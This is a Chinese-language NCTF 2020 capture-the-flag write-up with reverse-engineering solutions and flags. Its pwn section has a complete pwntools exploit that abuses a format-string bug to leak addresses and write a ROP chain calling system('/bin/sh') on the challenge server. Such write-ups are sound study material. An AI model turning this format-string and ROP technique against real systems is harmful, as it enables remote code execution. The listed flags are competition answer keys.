Re

re1

逐字符加密然后比对,只要逐字符爆破即可

re1

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include<stdio.h>

char encrypt(char a1,char a2){
char v2 = (~a2 | ~a1) & (~a2 | a1) & (a2 | a1) | (~a2 | ~a1) & (a2 | ~a1) & a2 & a1 | a2 & ~a1 | ~a2 & a1;
return (~(32 * v2) | ~(v2 >> 3)) & (~(32 * v2) | (v2 >> 3)) & (32 * v2 | (v2 >> 3)) | (~(32 * v2) | ~(v2 >> 3)) & (32 * v2 | ~(v2 >> 3)) & (32 * v2 | (v2 >> 3));
}

int main(){
char*nctf="nctf";
char flag[] = {
0xC6, 0x6A, 0xC0, 0x27, 0xEB, 0xCA, 0x65, 0x02, 0x61, 0xCA,
0x68, 0x27, 0x6B, 0xE2, 0xC0, 0xE0, 0x00, 0x80, 0x22, 0x27,
0xE1, 0xA1, 0x02, 0x27, 0x63, 0x4B, 0xA8, 0xE3
};
printf("NCTF{");
for(int i=0;i<28;i++){
char j=0;
do{
if(encrypt(j,nctf[i%4])==flag[i]){
printf("%c",j);
break;
}
j++;
}while(j>0);
}
printf("}\n");
return 0;
}

flag:NCTF{X0r_15_ve57_5trange_and_u91y}

re2

base64+xor,有手就行

re2

exp:

exp

re3

这题一堆反调,还有一个fake flag,太恶心了。反调手动patch后,找到两个关键函数。

re3

通过左边的函数可以通过解方程算出来flag的下标为3,10,15的字符。然后通过自修改生成的函数开始是push ebp;mov ebp,esp,即55 8B EC可以计算出前三个字符,现在可以得到flag为cp1@xxxxxx_xxxx-xxxxxxxx

通过分析可以得出自修改得到的函数是AES_ECB加密,key是nctf2020x1c66666。对ps2加密。

然后再通过ec1,ec2对ps2和ps3进行逐位异或,异或的内容是固定的,可以用测试数据计算出来。

将v1进行对应异或,再AES_ECB解密,填入对应位置,得到flag:cp1@plus1s_v2ey-veryha36

Pwn

fake_qiandao

先来一个思维导图:

fake_qiandao

函数介绍:

  • choose函数:输入10字符(无溢出),然后atol返回,但实际只需要1或2,所以可以利用剩下的9个字符布局栈,这里是写入地址,提供给printf,实现任意地址读写。
  • login函数:先输入49字符的input(data段),然后经过base64加密,放入长48字节的base64Input(data段)这里就存在溢出了,base64Input后面是start函数里printf的第一个参数。刚好这里的base64加密的字母表是A-Za-z0-9%$,其中的%$可以用来给printf格式化输出。
  • start函数:在login函数输入rrrtql会修改一次标志,标志为真时会调用printf

利用思路:

  1. 泄露栈地址、程序地址、libc地址
  2. 任意地址写布局栈 pop rdi -> bin_sh_addr -> system_addr -> '/bin/sh'
  3. 修改函数返回地址,进入布局的栈中,get shell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
from pwn import *
from LibcSearcher import *
import base64

DEBUG=False
if DEBUG:
sh=process('./main')
else:
sh=connect("42.192.180.50",25004)

class MyBase64:
STANDARD_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
def __init__(self, alphabet=None):
if alphabet == None:
alphabet = MyBase64.STANDARD_ALPHABET
if len(alphabet) != len(MyBase64.STANDARD_ALPHABET):
raise RuntimeError('MyBase64 init error:alphabet len should equal 64')
self.alphabet = alphabet

def encode(self, data_to_encode):
encoded = base64.b64encode(data_to_encode)
return encoded.translate(str.maketrans(MyBase64.STANDARD_ALPHABET, self.alphabet))

def decode(self, string_to_decode):
encoded = string_to_decode.translate(str.maketrans(self.alphabet, MyBase64.STANDARD_ALPHABET))
return base64.b64decode(encoded)

b64=MyBase64("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%$")

def login(text):
sh.sendlineafter('Command: ','1')
sh.sendlineafter('Plz input the key',text)

def loginBase64(text):
#对齐
if len(text)%4==1:
text+='mmm'
elif len(text)%4==2:
text+='mm'
elif len(text)%4==3:
text+='m'
login(b64.decode(text))

def start(addr=0):
sh.sendlineafter('Command: ',b'2a'+p64(addr))
r=sh.recvline()
if r==b'1. Login\n':
return ''
elif str(r,'utf-8').startswith('0x'):
r=str(r,'utf-8')
i_1=r.find('1.')
i_m=r.find('m')
if i_1==-1 and i_m==-1:
return int(r[2:],base=16)
elif i_1==-1:
return int(r[2:i_m],base=16)
elif i_m==-1:
return int(r[2:i_1],base=16)
else:
return int(r[2:min(i_1,i_m)],base=16)
else:
return r

def edit(target_addr,val):
for i in range(8):
len=(val>>(8*i))&0xff
if len==0:
text='a'*48+'%6$hhn'
else:
text='a'*48+'%'+str(len)+'c%6$hhn'
loginBase64(text)
login('rrrtql')
start(target_addr+i)

def editStr(target,s):
for i in range(len(s)):
text='a'*48+'%'+str(ord(s[i]))+'c%6$hhn'
loginBase64(text)
login('rrrtql')
start(target+i)
loginBase64('a'*48+'%6$hhn')
login('rrrtql')
start(target+len(s))

#泄露地址
loginBase64('a'*48+'%p')
login('rrrtql')
got_stack_chk_fail_addr=start()+8056
pop_rdi_addr=got_stack_chk_fail_addr-0x3FA0+0x173b
pop_2_addr=pop_rdi_addr-0x173b+0x1734+4

# 栈地址
loginBase64('a'*48+'%8$p')
login('rrrtql')
stack_addr=start()-40

#libc
loginBase64('a'*48+'%13$p')
login('rrrtql')
libc_start_main_addr=start()
if DEBUG:
libc_start_main_addr-=0xf2
else:
libc_start_main_addr-=0xf3
libc=LibcSearcher('__libc_start_main',libc_start_main_addr)
system_addr=libc.dumpb('system')

bin_sh_addr=stack_addr+8*8
edit(stack_addr+8*5,pop_rdi_addr)
edit(stack_addr+8*6,bin_sh_addr)
edit(stack_addr+8*7,system_addr)
editStr(bin_sh_addr,'/bin/sh')

print(hex(pop_2_addr))

loginBase64('a'*48+'%'+str(pop_2_addr&0xffff)+'c%6$hn')
login('rrrtql')
sh.sendlineafter('Command: ',b'2a'+p64(stack_addr+8*2))

sh.interactive()

flag:NCTF{6EEC8679F86732CA7A38E63D3B37D35A}

Misc

有手就行。。。